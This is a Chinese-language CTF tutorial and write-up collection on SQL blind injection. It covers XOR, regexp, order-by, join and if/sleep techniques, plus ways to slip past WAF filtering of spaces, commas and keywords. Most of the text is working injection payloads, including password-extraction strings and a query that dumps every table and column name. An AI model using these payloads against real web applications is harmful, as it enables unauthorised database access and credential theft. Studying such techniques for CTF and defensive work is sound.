CTF中幾種通用的sql盲注手法和注入的一些tips
0x00 前言
在ctf比賽中難免會遇到一些比較有(keng)趣(die)的注入題,需要我們一步步的繞過waf和過濾規則,這種情況下大多數的注入方法都是盲注。然而在盲注過程中由於這些過濾規則不太好繞過,這時候就會無從下手,下面分享一下自己在比賽中總結幾種比較通用的盲注手法和一些小tips,希望能在今後大家的比賽或者實戰中帶來一些實質性的幫助。
0x01 XOR注入
因為這種方法利用了異或符號,所以給它取名為xor注入
1、基本注入payload
admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23 或者 admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23
我們來分析一下這個語句的格式:
首先我們先根據^符號來分割開語句:
admin' ascii(mid((password)from(i)))>j '1'='1'%23
最前面和最後面的語句都固定為真(邏輯結果都為1),只有中間的語句不確定真假
那麼整個payload的邏輯結果都由中間的語句決定,我們就可以用這個特性來判斷盲注的結果了
0^1^0 --> 1 語句返回為真 0^0^0 --> 0 語句返回為假
這裡mid函式的使用方法:
正常的用法如下,對於str字串,從pos作為索引值位置開始,返回擷取len長度的子字串
MID(str,pos,len)
這裡的用法是, from(1)表示從第一個位置開始擷取剩下的字串,for(1)表示從改位置起一次就擷取一個字元
mid((str)from(i)) mid((str)from(i)for(1))
看下圖的查詢結果應該就知道用法了:


這裡可能還會有疑問:為什麼這裡不加for可以正常執行呢?
因為這裡的ascii函式是預設取字串中第一個字元的ascii碼做為輸出
2、使用場景
過濾了關鍵字:and、or
過濾了逗號,
過濾了空格
如果這裡過濾了=號的話,還可以用>或者<代替(大小的比較)
payload:admin'^(ascii(mid((password)from(i)))>j)^('2'>'1')%23
如果這裡過濾了%號和註釋符的話,那就把最後一個引號去掉就可以和後面的引號匹配了 ‘1’=’1
0x02 regexp注入
1、基本注入payload
select (select語句) regexp '正則'
下面舉一個例子來說明一下用法:
首先正常的查詢語句是這樣:
select user_pass from users where user_id = 1
接著進行正則注入,若匹配則返回1,不匹配返回0
select (select user_pass from users where user_id = 1) regexp '^a'
這裡的^表示pattern的開頭
接著一步步判斷
或者regexp這個關鍵字還可以代替where條件裡的=號
select * from users where user_pass regexp '^a9'
2、使用場景
過濾了=、in、like
這裡的^如果也被過濾了的話,可以使用$來從後往前進行匹配
詳細的正則注入教程可以看這裡:
ofollow,noindex" target="_blank">http://www.cnblogs.com/lcamry/articles/5717442.html0x03 order by盲注
1、基本注入payload
select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3
首先先看看order by的使用方法:
order by 'number' (asc/desc)
即對某一列進行排序, 預設是升序排列 ,即後面預設跟上asc,那麼上面一句就相當於
select * from users order by 3 asc
我們在注入時經常會使用order by來判斷資料庫的列數,那我們這裡使用他配合union select來進行注入
2、原理分析
首先正常的注入是藍色那部分的字串,這裡我們的目的是要注出test使用者的user_pass值

接著我們在語句後面加上order by 3,即對第三列進行升序排列(按照ascii碼錶)

這裡的user_pass列中的3是我們union select裡面的第三列,這裡就把’3’替換為’a’

這裡可能看不出什麼變化,那麼把他改成’b’看看

看到使用者test跑到第一行來了,所以這裡經常用來判斷有返回差異的注入,且返回只有一列的輸出,根據差異來判斷我們盲注的值是否正確
當然這裡也可以使用order by desc降序排列來注入,所以這裡要根據使用場景來進行選擇
3、使用場景
過濾了列名
過濾了括號
適用於已知該表的列名以及列名位置的注入
0x04 例項講解
1、ascii盲注來自skctf login3的一道題,bugku上也有:
題目連結: http://123.206.31.85:49167/

是標準的登陸框,因為存在注入,先fuzz一下過濾了什麼字元。使用bp的intruder模組載入字典進行fuzz(字典在後面會分享給大家)。

可以看到這裡的=,空格、and、or都被過濾了,但是>、<、^沒有被過濾,所以這裡使用ascii盲注
這裡最後是要注入出admin的password,過程就不詳細講解了,直接給出payload:
username = admin'^(ascii(mid((password)from(1)))>1)^('2'>'1')%23
網鼎杯第二場的一道注入題sqlweb的其中一種解法也是用到這種ascii盲注
這個payload和我們上面說的是一樣的,所以這個就靠你們自己慢慢消化了。
2、regexp盲注是來自實驗吧一道注入題
題目連結: http://ctf5.shiyanbar.com/web/earnest/index.php
writeup連結: http://www.shiyanbar.com/ctf/writeup/4828
當初也是看著p牛的wp做的,發現這道雖然難了點,但是裡面的sql的知識點考的倒是不錯,是練習過waf的一道好題目。
這道題只有一個id作為輸入點,id存在注入點,但是過濾了很多東西,前面的步驟就不詳細說了,去看p牛的詳細解答
看到這裡,過濾了^,但是沒過濾$,所以xor注入就無效了,這邊選擇regexp注入使用$符號從後往前注入
0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='
這裡是用python寫的指令碼,一個一個的對字串的正則匹配得到最後flag
3、union盲注利用起來比較簡單,就是利用上面說的那些條件進行注入,例子是來自藍鯨ctf的一道ctf題目:
題目連結: http://ctf.whaledu.com:10012/52gw5g4hvs59/
題目好像進不去了,但是可以看 我的writeup
首先題目存在sql注入還有一個上傳點,可以通過注入拿到所有原始碼

拿到之後進行審計,發現上傳時檔案以隨機字串上傳到了/Up10aD/資料夾下,我們的目的就是要通過注入拿到上傳後的檔案,在原來的注入點使用order by盲注將檔名得到:

重點就在order by盲注這, 注入點在id這裡 :

那麼寫出order by盲注的指令碼如下圖:

這裡存在過濾,繞過的方法是雙寫繞過,所以payload看起來不是很清楚,正常的應該是這樣的:
image = 79 union distinct select 0x{filename} order by 1 desc
注意前面的image=79是存在的圖片的id,這樣order by才可以進行對比實現
這個注入形式也是和我們上面講解一樣,所以大家可以自己找題目來練習。
0x05 其他的一些小tips
1、一些等效替代的函式(特殊符號)
字元:
空格 <--> %20、%0a、%0b、/**/、 @tmp:=test and <--> or '=' <--> 'like' <--> 'in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'
@tmp :=test只能用在select關鍵字之後,等號後面的字串隨意
函式:
字串截斷函式:left()、mid()、substr()、substring() 取ascii碼函式:ord()、ascii()
2、 一次性報所有表明和欄位名
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)
3、Subquery returns more than 1 row的解決方法
產生這個問題的原因是子查詢多於一列,也就是顯示為只有一列的情況下,沒有使用limit語句限制,就會產生這個問題,即limt 0,1
如果我們這裡的逗號被過濾了咋辦?那就使用offset關鍵字:
limit 1 offset 1
如果我們這裡的limit被過濾了咋辦?那就試試下面的幾種方法:
(1) group_concat(使用的最多) (2) <>篩選(不等於) (3) not in (4) DISTINCT
上面這些都涉及到了sql基本語句,這裡就不一一舉例了。大家可以多在本地環境試試,加深理解
4、join注入
payload::
1' union select * from (select 1) a join (select 2) b %23
優勢:過濾了逗號的情況下使用
下面的payload(別的部落格處摘抄來的)適用於過濾了逗號和欄位名的情況下使用
union all select * from( (select 1)a join( select F.[需要查詢的欄位號] from( select * from [需要查詢的表有多少個欄位就join多少個] union select * from [需要查詢的表] [limit子句] )F-- 我們建立的虛擬表沒有表名,因此定義一個別名,然後直接[別名].[欄位號]查詢資料 )b-- 同上[還差多少欄位就再join多少個,以滿足欄位數相同的原則] )
具體的使用方法不在本文的討論範圍內,具體的使用可以看看下面的文章:
https://blog.csdn.net/qq_33020901/article/details/789062685、帶!的注入
直接看下面的payload,適用於and、or、^被過濾的情況下使用,有時候可能也會使用到,但是具體的原理不是很明白,大家可以自行google

6、if盲注(合理利用條件)
if盲注的基本格式:
if(條件,條件為真執行的語句,條件為假執行的語句)
舉個例子:
admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)
用好if盲注的關鍵是條件的輸入,有一道BCTF的注入題的wp用的就是if盲注
wp連結: https://www.kingkk.com/2018/04/bctf2018-love-q/
寫部落格的這位大佬巧妙利用了 pow函式數值溢位的特性 ,使得經過if判斷後的條件會報錯,但是不執行該語句時語法上是沒問題的
原理如下:
mysql> select if(1,1,pow(2,22222222222)); //條件為真時,返回1
+——————————————+
| if(1,1,pow(2,22222222222)) |
+——————————————+
| 1 |
+——————————————+
1 row in set (0.00 sec)
mysql> select if(0,1,pow(2,22222222222)); //條件為假時,報錯
ERROR 1690 (22003): DOUBLE value is out of range in ‘pow(2,22222222222)’
像利用pow這種函式溢位的特性也不止這一個,這就需要我們靠平時的經驗積累了,總之想要玩好ctf的注入題途徑就是多刷題。
0x06 自己總結的注入流程
1、先找到注入點,id=,username=,判斷GET/POST/COOKIE注入
2、檢視顯示位,如果只有一個顯示位在使用union注入是注意使用limit來限制顯示
3、判斷字元型注入還是數字型注入(2-1,’是否正常)
4、輸入不同值檢視頁面是否有變化,無變化的話可以考慮採用bool時間盲注,若有報錯資訊優先考慮報錯注入(exp,updatexml(優先採用updatexml、extractvalue報錯))
5、先簡單測試空格和註釋符是否被替換了,id=1 1,id = 1%231(看看能否用/ /、%20、%0a、%09繞過)
6、進行fuzz,看看那些被waf了
7、若頁面上沒有顯示waf過濾之類的提示(sql injection detected),就測試是否有被替換為空的字元(如:’ or ‘*’=’、’ or ‘-‘=’ ,如果頁面返回正常的話,則說明該字元被替換為空)
8、簡單嘗試雙寫、編碼、大小寫替換的方法,判斷是否可以繞過
9、確定注入方式(儘量把盲注放最後),union、報錯注入、盲注
10、先在bp中跑一遍看是否有結果
11、嘗試寫指令碼
最重要的兩步就是注入點並判斷出注入型別,找到被過濾的函式和關鍵字並找到替代的函式和關鍵字,這就需要我們靠自己的耐心和細心還有經驗的積累了。
0x07 結束語
上面的說的那些盲注手法都是在union注入、報錯注入和可回顯注入都失效的情況下使用的, 所以說盲注是一種通法,他也是放在最後使用的方法 ,如果本來環境就存在回顯的點可以用union直接注入出來,還使用盲注顯的有點多此一舉,也浪費很多時間。所以這些方法需要根據大家遇到的實際情況進行靈活運用,最後記得多刷題!多刷題!多刷題!最後希望文章能對大家帶來幫助。